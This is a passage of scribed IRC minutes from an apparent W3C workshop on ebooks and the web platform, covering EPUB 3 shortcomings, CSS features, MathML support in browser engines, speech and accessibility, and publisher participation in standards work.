Univerisity, Melbourne Kim Marriott : CSS has come a long way … one of the things we miss in CSS … will it do everything for EPUB? Håkon: yeah, people always ask me for boustrophedon stearns: I have a longer list than Håkon Håkon: I think we should not stop before Guthenberg's bible <tmichel> Marky Gylling IDPF Marcus Gylling, IDPF: we have few efforts on testing … support grid … similar to caniuse … test suite on github ACTION mgylling post URL here mgylling: we should find ways to share testing platform stearns: we just had meeting 2 weeks ago about that … we can coordinate <abole> This BISG EPUB 3 Support Grid is set to be updated later this month...then again in April 2013... … about TTWF … will help to hear from IDPF and vice-versa stearns: Tobbie Langel, Facebook and now W3C fellow is now your contact Peter Krautzberger (Mathjax): polyfills are very interesting and we call for more collab … what can we do with MathML since we see no interest from browser vendors stearns: not familiar with MathML … what is the alternative? … images ? peter: we produce both and SVG output … we can do that only if you have mathml support … webkit has not a single developer about it … so how can you push a standards ? stearns: mathml is more complex than the example I have : balancing text … adobe developed a polyfill for it <karen> Daniel Glazman: If I can comment <karen> ...we have an example in the market <karen> ...about a large difference between WebKit <karen> ...on Asian languages <karen> ...only way to improve mark-up is to change it all <karen> ...Gecko... <karen> Kazuyuki Ashimura, W3C: Thank you for your great presentations <karen> ...I was interested in Alan's presentation <karen> ...ebooks services and devices <karen> ...Opera had speech Glazman: just use whatever rendering engine is available, that's going to introduce a shift in the market and other engines will respond <karen> ...and speech API is implemented <karen> ...W3C is working on speech capability <karen> ...for web apps <scribe> scribenick: karen UNKNOWN_SPEAKER: ePub3 includes SML capability ... wondering about what type of extensibility should be for eBooks? ... is there anything specified; other options? Håkon: You want to find common solutions to problems without pollyfils ... sometimes will fail when moving to other devices ... want to identify the core problems ... certainly speech and audio are high on the list ... we did implement this with IBM ... we found we had a crash bug in the code ... and people had not noticed Kaz: Do you have suggestions for speech interface, Alan? Alan: I don't have enough experience to provide an informed opinion ... anyone else who has experience in the audience Gerardo Capio, Benetech GC: we use Chrome speech to text capability ... which requires an extension ... they have been working on working group ... to put forward a speech API ... expect they will implement a speech synthesis piece ... may be available in Chrome without extensions ... And seeing other browsers like Firefox using it; will try to show a demo tomorrow in my presentation Markku Hakkinen: Another part of speech is haptics Markku: we have been experiment with this ... help students be more accessible ... and more engaged ... We are testing this ... would like to see how this works ... other technologies coming out such as haptics in CSS ... any others? Gerrard: I'll try to do a demo Ivan Herman, W3C IH: There is an underlying issue ... not going into technical details ... that comes up with all the discussions ... that every decision is make on whether another browser is using something ... W3C, like IDPF is a member organization ... we work the members we get; those who are there ... in that WG, if only the big browsers are present, then they will take the decision ... that is the way it works ... The only way to change that ... is to have people who represent the users of OWP ... like eBooks ... not sure how we work that out ... there is an underlying thing ... and I can imagine same for IDPF ... we need the active presence and participation of the publishers ... to help turn the direction ... might be a fight ... with the browser vendors ... What triggered me was something said about WebKit ... not having MathML ... WebKit is a place to put code in ... if there are communities that want MathML in WebKit, they need to add it Murray Maloney: has been doing the work for years Ivan: Only an example ... underlying issue is the same...be present please ... have to work together on how to accomplish this ... we have to find the mechanics for this Alan: You can talk about being present in the room, or you can cast it as engagement [laughter] Murray: some publishers want rich media ... in multiple languages ... without having their assets multiplied ... I had my catch-all answer ... We have to "engage" ... maybe there is more information to give Alan: I do know that there is a fight for the soul of sub-titling going on in W3C Alan: VTT vs TTML ... there may be a tipping point you can influence by joining now Daniel Glazman: a point about collaboration ... CSS Working Group designs specs but we are not the users ... We had a big divergence ... sometimes big arguments with the web designers ... Brad @ is helping us do the right thing in CSS ... for example if the grammar is bad ... or not the best one for designers ... you should do that, too ... Your presence is absolutely needed ... We all forget that most ePub viewers are based on two rendering engines ... Another way to help is to contribute code ... higher a developer, it's not that expensive ... compared to the publishing industry ... higher a developer ... W3C develops software...like the Validator ... it took years, do it Alan: MathML is in WebKit ... decision of Safari and Chrome whether to release it Daniel Glazman: fork it Neil Soiffer Design Science: I want to ask Vlad about fonts Neil: what are we doing about making math fonts beautiful for the web ... and make sure there are all the technical symbols and math symbols Vlad: We are not doing enough ... we should do more ... One of the messages I wanted to get across ... is to ask people what they need so we can work on them ... So this question is important to us ... not sure I can answer right now Neil Soiffer: MathML Drop by Chrome...was disservice to math and engineering communities Neil: Safari put it in even with security issues ... issue is not evil and they hate math ... but more that nobody cared ... I believe as a community ... publishing community needs to step up and say this is important ... and make it a priority ... someone needs to take responsibility ... no one wants to step up and make sure it's there ... It's really a disservice ... hope anyone in this group can help with that Håkon: A colleague has identified a subset of MathML ... and then attach a style sheet ... I have not tried it Neil: I was in original MathML but it's not there yet ... our script takes huges advantage of CSS ... maybe redo some of those ... not looking at take this small thing ... giant Javascript library ... have to download all sorts of fonts Murray Maloney: I have been aware of the math problem since the mid-90s Murray: multiple math societies complainted ... Many people in community have recognized this problem and have put effort into it ... @ Did the work on his own ... no compensation ... he wants one language as the one true language ... as the only one that is not supported properly on the web ... any time he went to somebody to get this code activity ... Seems there is always somebody smarter than you ... they think about it and it never gets done ... MathML work is done ... publishers should feel confident in their ability to publish math but they cannot ... reminds me of problem with HTML5 ... when HTML5 WG would not recognize things that were not out on the web ... so the fact that publishers were using something within their walled gardens ... that did not count ... in all the years I have worked in standards ... is that publishers never step up ... you need to get somebody in the room ... and you need to start putting more content out on the web ... so the people who develop these tools ... can see that publishers use the b and the itag ... people who work with you say it's the right thing to do ... but browsers don't help ... get a membership in W3C and start screaming bloody murder ... if you don't, it's going to be programmers who don't know anything about publishing [applause] Liam Quin, W3C: I have to follow Murray ... a quick comment ... This discussion of how we change things ... that is what this workshop is for ... it's to figure out how to change things ... ask everyone to hold in your hearts ... to notice all these things that need to be changed and why ... and think about how we can make changes ... to some of the things we have heard ... getting MathML into Chrome; where are the test cases ... how do we get test cases to rec ... not one asnwer to everything ... more use cases, more examples ... Keep in mind please, how can we change the future [applause] Alan: Last question ... before the break Thierry: break for 30 minutes at back of room ... I would like to thank Daniel and Karen for scribing ... please see me or Karen and volunteer for the next session ... Also, if you want to do demos ... we have round tables during the break ... so feel free to use them ... We will reconvene at 4:30pm Daniel Glazman: (introduction of the good and bad of ePub) ... I implemented epub2 and epub3. ... I'm not pointing fingers, just talking about issues *we* have to solve. ... (going through bgee requirements) ... epub3 specs are based on several dialects. There are too many to deal with for being able to implement it. ... we could decrease that number ... There are also important changes between epub2 and epub3 ... Some drafts are considered as Recs, that's an issue. There were no unitary tests for epub. ... There are a lot of inconsistencies, unspecified parts, which need to be solved. ... All implementers, authors, tutorials writers understand the spec and its meaning. ... (normative references tables which are not normative.) ... Some of the documents can evolve a lot, and so the references will not be valid anymore. ... It makes it difficult to base your work on moving implementations. ... Some ebooks will become irrelevant in a few months. ... The very first thing you hit in an epub is a Manifest… but zip already contains a Manifest. ... Is it useful to know the relationships between the files? ... many things are already given from by the viewers engine and their api already. ... Too many TOCs ... We just need one. ... Metadata in epu3 were a nightmare to implement. ... the relationships in between the metadata are scary. ... id/idref are too complex. It should not happened. It's very bad for UI. People do not understand them. ... Heavy usage of namespaces make the documents bloated. ... 1000 pages are opened in a few seconds. It's not needed to have namespaces. ... URI management in epub is a proof of the devil ... complex management of property vocabularies. ... "We may remove the prefix in the future" ... but it's not specified what you should do once the prefix is removed. ... Compatibility between epub versions is a myth. ... content documents: no default rendering. ... epub3 refers to html5 which is still in work in progress. ... extra schema for html5 that editing tools don't use. ... is epub:trigger needed? There's an implementation cost with it. ... AltStyleTags meaningful link classes. No notifications to the CSS WG. It reduces the space of class. ... CSS profile based on WDs which are not stable. ... epub should be only a packaging format with Web standards only. ... Should use only html5, allow both serializations? ... Some decisions in the spec lead to bad UI requirements. ... We have in the W3C to listen the publishing platform, but we need to do a few things before HTML5 Rec, CSS regions, Archive API for zips, etc. ... BUT we need the participation of the publishing industry. ... Get rid of proprietary XML dialects, and Epub core model and tests, tests, tests, … Soo choi: Soo Choi, epub production department at Harpers Collins ... Reaching the same screen in the digital landscape. ... Retailers specific formats are coming back. ... "Enhanced ebook" ... (in house workflows for the print graph) ... Print files are converted to ebooks ... ISBN assignment are part of the issue. Every file format requires a unique format. ... It has been very difficult to support the different devices. ... sometimes the retailers are having their own features and they do not tell in advance what will they support. ... There should be an enforcement of epub3 by govs, or organizations. ... (Proposal for a limited subset of specs) ... We need a consistent and positive experience between the author and the reader <karen> Dave Cramer, Hachette Cramer: we want more robust ebooks. ... case study L.A. Noire ... some viewers render things very differently even the simpler thing ... some fonts are used very specifically for the mood of the book. Monospaced font was not possible to use on ibooks until we found a hack. ... We want users to have the option to see it as designed. ... We do not know which reading system our books is on. ... web developers use UA string. ... mediaqueries are useful if it was not crashing ... @support would be useful if it was implemented. ... For interactivity the spec is quite light. ... epub2 was defined for things working in theory but not in practice. ... epubpreflight for checking what is supported. Kim Marriott: from Monash University ... standards should not be only static. We are designing for the future too. ... What are the opportunities for the future? ... we want to have interactive and dynamic contents. ... we want things to be immersive to be able to live the contents. ... we want to be able to customize the content. ... including collaborative and continuous authoring. ... Multiple devices and accessibility. ... (summary of the automatic document layout discussed at ACM on document engineering) ... There are things which are already available in CSS, but not everything. ... (mentioning things like pdftex, indesign, tex, vdp, etc.) ... accessible graphic, haptic feedback. We need content and a standard for it. ... When making standards, we need to think about the future. glushko: Robert J. Glushko, Berkeley - Bridging the Gap between ebook readers and browsers ... collaborative teaching with a multidisciplinary textbook ... We can imagine a networked discoverable books with transcluded content. ... It requires to think about books differently ... a book can not be only on the Web, they should be of the Web. ... We want books are native Web fabrics. ... We want to be able to have Web books which are Web things. ... Ebooks should be a first class Web citizen. ... It should be linkable. ... It should not be publisher centric. ... How do we store content is an issue. There should be a browser agnostic system, where we can identify things with URI. ... we want to be able to cache the content, manipulate it, modify it and have sync from the client to the server and so on. ... There should be a browser export/import format. QUESTIONS <karen> Murray Maloney Murray Maloney: I was surprised by your comment on id/idrefs ... first class links, How do we point things? Daniel Glazman: we need linking mechanism and counting mechanism. ... things right now are working inside one document, not across documents. ... How do we do it? And how do we make it happen right now? Mia Amato, Skyhorse Publishing mia: How do we plan to handle QA in between retailers and different devices? soochoi: There are multiple rounds of QA involved on different devices. There is technical QA. mia: editorial are involved? soochoi: yes nick @ Rufolo: we talk about advanced features, but even on the basic features there are a lot of issues. ...without the kindle, we are not making money. So we need to be compatible with them. <karen> Nick @ Rufolo Nick: How do we put pressure on them? cramer: I'm very pessimistic about Amazon changing things. ... It's sad. glushko: textbooks are not likely to go to kindle more than other things. <karen> Frederick Hirsch, Nokia mccoy (hirsch too): What is the roadmap mccoy: It's why we are here today. … The full power of the Web platform has to be in books. We do not know yet how to monetize it. <karen> Robert Sanderson, Los Alamos National Labs Robert: We heard about content cache, appcache Robert: Could you share how annotations should be carried on in books. glushko: My books are designed to evolve. Publishers think in release once and for all. ... The system don't work this way. It's sad. We can't do continuous annotation. UNKNOWN_SPEAKER: it's complicated thing, I don't have a good answer Robert Sanderson: Daniel, can you weigh in on this Robert: helping the reader or publisher or somehwere in between ... to add content to the ebook ... and how that might work with an extended API Daniel Glazman: content is not a problem ... content and distributing it is a problem ... all the repository owners of documents have applications ... they know how to distribute a new version of an app ... should know how to distribute a document ... it's not server side, it's on client side ... book, you need a dif <fjh> my question was (a) given the concerns with ePub is deployment happening and is there a roadmap to fix issues Glazou: this is something a bit @ ... on annotations, likely need a linking mechanism between packages <fjh> and (b) what is the deployment situation for education and textbooks (given need for interactivity etc) Glazou: if you download one package, you need a link ... whether it's free or not ... renderer gets data from two different channels ... that is likely the right way to do it Neil, design science Neil: No representatives from Apple or Amazon ... a challenge, where are the publishers ... and where are the implementers to do the standards ... I know this has been a problem ... this is a pretty critical situation David Cramer: Apple has participated to some extent in the ePub work David: expect they are under interesting contraints from their management ... I have no idea what goes on ... Amazon has had no participation as far as I know ... feel that they don't need to talk to us ... 'If you build it they will come' Karen: we had a non-response from Amazon outreach for this workshop Daniel Glazman: we met last week in Tuscon for CSS F2F ... and Apple was there ... but some of their own features we would like them to submit, we did not see ... Apple has a way of doing things that belongs to Apple ... and they don't have the right to speak at conferences ... unless they are allowed on the conference basis ... what can I say? Markus: In terms of bashing companies not present ... Apple has been one of the earliest implementers of ePub3 ... they are certainly a good citizen in the ecosystem ... everything is relative David: I would agree with that statement Karl Dubost: We talked about a lot of issues for publishers Karl: but also issues for readerse ... I am a big reader ... I can put an image, notes, annotation into my books ... I may put two books side by side ... these are things missing in the ebooks ecosytems ... cannot make notes between two books ... I'd like to have a wiki book approach ... and edit content inside the book ... plenty of things we cannot do right now ... where it's a failure to the print platform RobertG: any book with a URI can do this Glazou: if a book has no URI, not fragments Robert Sanderson: in terms of annotations, there will be more talk about it tomorrow <glazou> glazou: nevermind, my bad <fjh> Robert: we want to speed up the process. ddd, Google: I just want to clarify something. ...It was not just a liaison. It was a recommendation of the css wg. Daniel Glazman: no ddd: Maybe there was misunderstanding, but there was discussion made at the css wg. <karen> Peter Krautzberger krautzberger: One of the key issues seems to be to get the reading systems out of the way krautzberger: It should not be only implemented but also overrided. cramer: Something it depends on the constraints that devs have seen in the wild. Daniel Glazman: you can't really. The issue is that there are competitive advantage in between readers. David cramer: It's a battle in between two paradigms. Daniel Glazman: the vendor can infer many things about your reading habits. ... these data are sold. ... all vendors want to keep readers to have access to these data. tmichel: we reconvene tomorrow at 8:30
http://www.w3.org/2013/02/11-ebooks-minutes.html
CC-MAIN-2017-04
refinedweb
7,690
73.88
Red Hat Bugzilla – Bug 20251 termio's ~ICANON causes read to return NUL for EOT sometimes Last modified: 2008-08-01 12:22:51 EDT If I turn off ICANON via tcsetattr(), and then do several reads(), EOT characters sometimes are turned into NUL's and sometimes remain EOT's. Build the following program, and run it. It expects input, will print "EOF" for every EOT character, and will print the hex code for any other character, including NUL as "00". Then type control-D over and over again real fast. You'll see "00" sometimes and "EOF" sometimes. I notice that, in n_tty.c, EOF_CHAR(tty) is mutated into __DISABLED_CHAR, and I suspect it's something to do with that. I'm guessing there's supposed to be a place where that's undone and it's not working right with ICANON turned off. That's all I've been able to deduce. Here's the source: #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #include <stdio.h> #include <termios.h> static int fd = 0; static int waiting = 0; static int sleepily = 0; main() { for (;;) { int eof_ch = '\004'; /* EOT, a.k.a. ^D */ char c; int got; struct termios termios_rec; struct termios otermios_rec; tcgetattr(fd, &termios_rec); memcpy(&otermios_rec, &termios_rec, sizeof(struct termios)); eof_ch = termios_rec.c_cc[VEOF]; termios_rec.c_lflag &= ~ICANON; termios_rec.c_cc[VMIN] = waiting; termios_rec.c_cc[VTIME] = 0; tcsetattr(fd, TCSANOW, &termios_rec); do { got = read(fd, &c, 1); if (got == -1 && errno != EAGAIN && errno != EINTR) { printf("read() go boom; errno = %d\n", errno); exit(1); } } while (waiting && got <= 0); tcsetattr(fd, TCSANOW, &otermios_rec); if (got <= 0) { if (sleepily) { printf("!avail\n"); } } else if (c == eof_ch) { printf("EOF\n"); } else { printf("%02x\n", c); } if (sleepily) { sleep(1); } } } Confirmed in 8.0 but seems to be kernel not lib:
https://bugzilla.redhat.com/show_bug.cgi?id=20251
CC-MAIN-2017-04
refinedweb
304
77.33
The Lightning Design System — the Next Generation of Living Style Guides Sixteen years ago, Salesforce reinvented CRM in the cloud. Today our Lightning Design System reinvents enterprise UX at scale. We are giving our customers the same toolkit we used internally to develop our new Lightning Experience. Downloading the Design System gives you all our CSS, HTML, icons, color palettes, and a custom font. It works across our platforms: Visualforce, Heroku, and the new Lightning components. Finally, it is compatible with modern UI frameworks. { Joining us at Dreamforce? } { Read about Salesforce UX at Dreamforce 2015! } More Than an Aesthetic Update Focusing solely on the clean, new look of Salesforce barely scratches the surface of the Design System. Enterprises demand content- and data-rich interfaces that run across all web browsers, operating systems, and mobile devices. UIs must be intuitive and efficient while being highly detailed. The Design System provides a clear way to communicate design intention to engineering teams. It also eliminates sending Photoshop files with redlines that quickly become obsolete. We have tested the design patterns, layouts, assets, and animations on large Salesforce organizations. Gone are the days of reverse-engineering our style guide’s CSS and HTML! You can scale up your design and code knowing that all teams use the same naming, values, and assets. Design System as Single Source of Truth Salesforce ecosystem’s UI surface area is immense and we need to coordinate our many engineering teams’ efforts. This common reference point makes it feasible to maintain consistent styling and UX across the product line. It centralizes all the design decisions and eliminates costly individual sync meetings. The Design System maintains a canonical version of the named values (Design Tokens), code (CSS, markup), and assets (icons, fonts). Then we automatically convert it into various key-value formats (JSON, XML), variables for CSS preprocessors (Sass, Less, Stylus), code (HTML, Visualforce markup, Lightning components markup), and image formats (PNG, SVG). And, as the product evolves, the Design System will be updated so all teams can stay in lockstep. “I wouldn’t develop an enterprise web app today without a strong professionally-maintained design system.” — Brian Lonsdorf, CTO loop/recur Well-Designed, Centrally Maintained We are guided by four key principles: - Clarity. The namespaced CSS keeps our names unique so the Design System can be used with other CSS frameworks. Our BEM-style class names are explicit and unambiguous. The Design Tokens have semantic naming. And, the structured markup defines the component and its children. - Efficiency. The code samples and CSS class usage tables allow for quick application of markup — which also helps new designers and engineers to be on-boarded faster. Extra padding and margins are eliminated to allow for more content on-screen. And, we have done the cross-browser and accessibility testing so you have a solid foundation. - Consistency. The systematic UX means designers have repeatable patterns, and thus users will have familiar experiences. Multiple variations of component markup provide best practices for extending and customizing components. - Beauty. The modern appearance purposefully balances high information density with readability. We commissioned our font from Monotype, one of the most respected font foundries, to be suitable for all sizes and screens. And developing your apps with our system means your user interface will stay on-brand and fit in well with the Salesforce ecosystem. The Design System will be open source and maintained so as the Salesforce design evolves, developers have a clear migration path to the new UX. The download pack is aimed at designers, too, with Adobe Swatch Exchange (ASE) and Mac OS X Color Map files (CLR), and vector icon assets that resize with full fidelity. We want you to build great enterprise app experiences. We have put together a Trailhead guide to help you whether you are updating a Visualforce page, using the new Lightning Components platform, or creating your own HTML with a modern web framework. All these resources are free to download from the salesforce.com/designsystem web site. Read more about Salesforce UX at Dreamforce 2015. Want to work with us? Contact uxcareers@salesforce.com
https://medium.com/salesforce-ux/the-lightning-design-system-is-the-next-generation-of-living-style-guides-9addc769c317
CC-MAIN-2017-04
refinedweb
685
56.05
The bind method from the widget command allows you to watch for certain events and to have a callback function trigger when that event type occurs. The form of the bind method is: def bind(self, sequence, func, add=''): For example: def turnRed(self, event): event.widget["activeforeground"] = "red" self.button.bind("<Enter>", self.turnRed) Notice how the widget field of the event is being accesed in the turnRed() callback. This field contains the widget that caught the X event. The following table lists the other event fields you can access, and how they are denoted in Tk, which can be useful when referring to the Tk man pages..
http://docs.python.org/release/2.3.3/lib/node644.html
CC-MAIN-2013-48
refinedweb
109
71.34
Agenda See also: IRC log <Larry> scribe: Larry Masinter <Larry> scribenick: Larry Noah: will have meeting on 12th; regrets from Tim until June 2 <plinss> Peter sends regrets for the June 2 telcon Larry might be out on May 12 <noah> <DKA> I think they're good. <noah> RESOLUTION: Minutes of 28 April 2011 are approved topic; Administrative items Noah: As Tim explained last week, W3C management team are asking internal groups to commit to 2-3 significant goals. Tim & Noah will continue to discuss this and will bring this to TAG. ... working on quarterly status reports, will show it & solicit input, will want a quick turn-around. Please send email about things you care about wrt status report, should have draft in next day or two. ... looking into coordinating with IAB or joint meeting, has had some interactions with Bernard Adoba, contact through PLH ... There has been discussion about Quebec in July, discussion about teeing up issues. ... Proposal they would dial into TAG F2F perhaps. <ht> IETF Quebec is 24-28 July Noah: I want volunteers to help develop agenda for call with IAB. Larry: I can work on that, will solicit input from those who participate in W3C and IETF (technical difficulties with HT phone, covering with IRC) <noah> Henry, are you willing to help Larry with the planning? <ht> The talk in the hall at IETF was that we need to find out more about each other, and a f2f was to be preferred as a first step. <ht> I am not at all convinced that a telcon is a good start. <noah> Because? <ht> We need to get to know these guys, that's why we suggested a f2f. <noah> Well, I think a F2F is unlikely to happen until, say, Dec. if then. <ht> they suggested it. <noah> Really better to wait that long vs. doing what we can now? Larry: I will likely be in Quebec IETF <Yves> I will be in Quebec IETF <jar> <ht> HST might be able to be in Quebec, yes noah: (various) issues around logistics of joint meeting <ht> I agree that cancelling September is not an option <ht> HST understands NRM's concerns, and will represent them noah: It's my belief that setting up a TAG meeting tends to be the kind of thing that the next time we can book a TAG meeting will be December, or maybe TPAC <noah> ACTION: Larry to (with help from Henry and Yves) make proposals for topics to be pursued with IAB. [recorded in] <trackbot> Created ACTION-549 - With help from Henry and Yves make proposals for topics to be pursued with IAB [on Larry Masinter - due 2011-05-12]. noah: consistent with having a call on June 8 wednesday of TAG F2F ... 13-15 september meeting: think about your preferences Larry: prefer Edinburg Noah: <something about Norm's report from task force, missed it> <ht> NM: NDW may join the June f2f, either by 'phone or in person, to update us on state of XML taskforce Ashok: was really only about the "Do Not Track" header, very well organized and very well run ... It seemed that all of the stakeholders were there: Facebook, PayPal, FCC, Academics, regulators from Canada, etc. Everyone was there. ... general consensus that _something_ has to be done; a few people disagreed. ... facebook and paypal seemed to argue that they were 'special' and should be exempt. Others were saying 'we require a lot more details'. Others were really outraged, stood up and screamed, 'what the hell is going on'. ... there are a lot of details that need to be worked out. "Do we require a header or a DOM property? Do we require a response header? Is it granular, by company, by ad network, is it a site list, it is a tag list, is it personal data rather than analytical data?' ... you have to be able to do it without making it very difficult for the user. This was a concern that came up over and over again, that user's DONT actually specify their browser preferences, how to make it simple, what are the defaults, and so on. ... big question, how will we measure compliance, who will measure compliance. ... looks like we will start working group(s) to standardize this, proposals from Microsoft (to W3C) and Mozilla (to IETF). Whether we end up with a W3C or IETF working group is open. ... there will be a report from Thomas in about two weeks noah: Is there a general assumption that the "Do Not Track" header WOULD be effective if deployed? ashok: it was debated, it was debated by details, i do not think there was an argument that "that's the wrong direction, and we ought to be going somewhere else" noah: we rely on the implementor of the server to actually implement this, there's nothing in the protocol to enforce? ashok: this is part of the debate <Zakim> DKA, you wanted to ask was the CDT proposal (privacy rule-sets) or any other proposal besides DNT discussed? dka: was CDT at the workshop, were any other proposals discussed? ashok: A. Cooper from CDT, and (someone, missed). The gentleman spoke about privacy rule-sets, but only briefly This was put into the 'details' bucket. ... The agenda points to the position papers,. Reommend Facebook's position paper in particular. <noah> ACTION-545? <trackbot> ACTION-545 -- Ashok Malhotra to report to TAG, after privacy workshop, regarding architecture issue on privacy and especially degree to which use cases beyond those addressed by "Do Not Track" need attention -- due 2011-05-03 -- OPEN <trackbot> <noah> close ACTION-545 <trackbot> ACTION-545 Report to TAG, after privacy workshop, regarding architecture issue on privacy and especially degree to which use cases beyond those addressed by "Do Not Track" need attention closed <noah> ACTION-507? <trackbot> ACTION-507 -- Daniel Appelquist to with Noah to suggest next steps for TAG on privacy -- due 2011-05-03 -- OPEN <trackbot> dka: there's an ongoing discussion, API minimization still an issue <noah> note action items from previous privacy workshop: <noah> I do see that last week's workshop is promising to propose a set of next steps, to be available soon. <Zakim> Larry, you wanted to discuss position papers LM: Looks to me like a lot of the discussion at this workshop was at the policy level (what do we want to do) as opposed to technical (how do we want to do it). ... The "Do Not Track" header is in some sense a policy proposal, wrapped in a best guess implementation proposal. ashok: the people that asked lots of questions were using them to say "well, it isn't well spelled out" AM: It's possible that people asking questions were actually happy to delay things a bit. LM: Not sure about that. Many of the questions looked appropriate to me. ... What are the threats we're trying to guard against? How do the mechanisms perform in those use cases? noah: W3C point of contact is TLR; Noah & Dan will coordinate with him to brainstorm about where W3C sees this going and what the TAG can do. NM: Proposing to recast ACTION-507 as being to work with Thomas Roessler to coordinate plan for W3C and TAG. larry: suggest taking this as a technical and not just administrative issue: What *are* the architectual issues open, and what can the TAG do to help with them? NM: Yes, the goal is for the TAG to deal with the architectural issues larry: I think this is something we could work on whether or not W3C is the standards group for DNT, for example ashok: there was a lot of talk about 'first party' and 'third party', but it was very difficult to tell a 'third party', where do we go here? <noah> Just so you know, I'm about to propose closing ACTION-507, openening a new one on Dan with help from me to work with TLR to get ready for serious TAG discussion at F2F <noah> close ACTION-507 <trackbot> ACTION-507 With Noah to suggest next steps for TAG on privacy closed <noah> ACTION Dan to (with help from Noah) plan TAG work on privacy, leading to session at F2F, next step is contact with TLR <trackbot> Created ACTION-550 - With help from Noah to plan TAG work on privacy, leading to session at F2F, next step is contact with TLR [on Daniel Appelquist - due 2011-05-12]. LM: Request Ashok's list of architectural issues from Privacy Workshop to appear on future agenda. <noah> ACTION-539? <trackbot> ACTION-539 -- Larry Masinter to liaise with Thomas Roessler about the registries issue background -- due 2011-03-24 -- PENDINGREVIEW <trackbot> <noah> <noah> LM: There was a discussion at IETF with IANA. A mailing list was started to involve IANA, IAB, IESG, including Thomas Roessler and Philippe le Hegaret. A goal is to be in time to influence HTML WG. Larry:: There is a mailing list ( happiana@ietf.org<mailto:happiana@ietf.org>.see) for discussions about improving some of the processes around IANA registries and a wiki page listing some requirements and a place to gather explicit proposals. yves: the HTML working group decided to put rel relations in the microformats wiki site, but if happy iana mailing list comes to a new procedure for iana registries this will be 'new information' and the issue can be reopened. <noah> ACTION-33? <trackbot> ACTION-33 -- Henry Thompson to revise naming challenges story in response to Dec 2008 F2F discussion -- due 2011-06-06 -- OPEN <trackbot> <noah> ACTION-121? <trackbot> ACTION-121 -- Henry Thompson to hT to draft TAG input to review of draft ARK RFC -- due 2011-05-01 -- OPEN <trackbot> <ht> No interaction between those actions and this issue <noah> ACTION-531? <trackbot> ACTION-531 -- Larry Masinter to draft document on architectural good practice relating to registries -- due 2011-04-19 -- OPEN <trackbot> <noah> ACTION-531 Due 2011-05-27 <trackbot> ACTION-531 Draft document on architectural good practice relating to registries due date now 2011-05-27 larry: this is a swirl of administrative and architectural issues, and i think administrative dominates <noah> ACTION-539? <trackbot> ACTION-539 -- Larry Masinter to liaise with Thomas Roessler about the registries issue background -- due 2011-03-24 -- PENDINGREVIEW <trackbot> <noah> ACTION-478? <trackbot> ACTION-478 -- Jonathan Rees to prepare a second draft of a finding on persistence of references, to be based on decision tree from Oct. 2010 F2F -- due 2011-05-09 -- OPEN <trackbot> <noah> ACTION-539? <trackbot> ACTION-539 -- Larry Masinter to liaise with Thomas Roessler about the registries issue background -- due 2011-03-24 -- PENDINGREVIEW <trackbot> <noah> close ACTION-539? <noah> Jonathan's email: <scribe> Scribenick: noah JAR: RDFa is effectively a mixin to XML ... thie situation with XML and HTML with respect to RFDa is analogous... the media type registrations says something about fragment IDs, but it isn't consistent with what RDF wants ... RFC 3023, the XML media type registration, does say something about fragment IDs, but it doesn't say what RDFa needs. ... I pointed this out to the RDFa group, and they didn't seem very concerned. ... But I submitted some text. Even if they didn't fix the problem, the problem should be documented. <jar> JAR: The TAG (perhaps Larry) said: "well, if the problem isn't fixed, at least document it". They drafted something, and it's linked from my email. ... the resulting text is linked from <ht> +1 to JAR pushing back further JAR: We looked at this again, and Noah had a concern about one sentence (scribe isn't sure which). I, JAR, agreed with Noah, and so I sent a comment. ... I did draft the sentence that says "unfortunately" for them. <jar> Unfortunately, this practice is not at present covered by <jar> the media type registrations ... JAR: What's worse is that nobody is actually signed up to make this all work. <JeniT> Currently it says "However, the media type registrations that govern the meaning of fragment identifiers (see section 3.5 of the URI specification [RFC3986], [RFC3023], and [RFC2854]) have not yet caught up with this practice." LM: Would it help if the TAG expressed the opinion that the RDFa working group has responsibility to make sure that their specs are consistent with the rest of the Web? JAR: Might help, or they might say not in our charter. <larry> ScribeNick: Larry noah: isn't it true that all W3C working groups have some responsiiblity to strive for consistency with web architecture etc. Doesn't the W3C process explicitly or implicitly put that responsibility on working groups? yves: may not be explicit in the charter, but it's how W3C operates from day 1 jar: they're at second "Last Call" noah: often what has happened is that, Tim, as Director, and Tag member, is how the TAG makes its opinion known ... we have some de facto if not de jure clout, what do we want to tell them? jar: this segues into what Jeni was just doing.... <Zakim> JeniT, you wanted to say that the RDFa group don't need to solve the problem, they just need to insert JAR's weasel words <JeniT> " <Zakim> noah, you wanted to say Well, we >could< say "this is going to take time, but it's worth waiting for" jeni: proposed update to MIME and Web document.... noah: we hit it with #!, RDFa, conneg, to just sort of go "we're going to punt on specs and architecture", but this is increasingly important <noah> In a nutshell, I think it's worth debating two options: <noah> Jeni's: It's too late, we don't want to slow down things like RDFa. Just have them put in a health warning indicating that specs are being ignored, and move along. <noah> Alternative: decide that this is becoming an increasingly important aspect of Web arch. It's coming up with #!, with RDFa, with client-side state, and conneg. To have the core specs not being followed needs to be fixed, even if it means slowing down the freezing of specs like RDFa. <noah> I'm really not sure which path is better, and I'm proposing that we look hard at what Jeni's drafted to see if it answers that question. larry: Why doesn't it matter to RDF group that their fragments don't work with 3986? jar: The namespace used for RDF is different than the namespace used by IETF, so it's OK that they're different. ... It doesn't matter to be consistent with the URI namespace that we know of. ... It's difficult to bridge these two worlds. ... take one of these document and put on XML hat, follow your nose, you get an element in the infoset; if you put on your RDF hat, you follow your nose, and you get to something, but you get to a different thing <noah> JAR: Put on your XML hat, follow your nose, and you get to an element. Take the same input, put on your RDF hat, and you get something else. <noah> JT: You talk also about the case where there is an element. jeni: there are situations where there is an element that has that ID, according to IETF that uRI with fragment ID identifies that element. <noah> JAR: Yes. Then, according to IETF, it identifies that element. Conneg makes it weird. jar: "Follow your nose" is already broken by content negotiation noah: there's plenty of practice out there ... content negotiation between text/html and application/xhtml+xml is 'close enough' jar: it works well enough in the cases they care about noah: we will pick up with this at a future dka: will have more on API minimization for next call noah: whole bunch of actions are due on 10th, please in email give guidance adjourned
http://www.w3.org/2001/tag/2011/05/05-minutes
CC-MAIN-2015-32
refinedweb
2,659
66.37
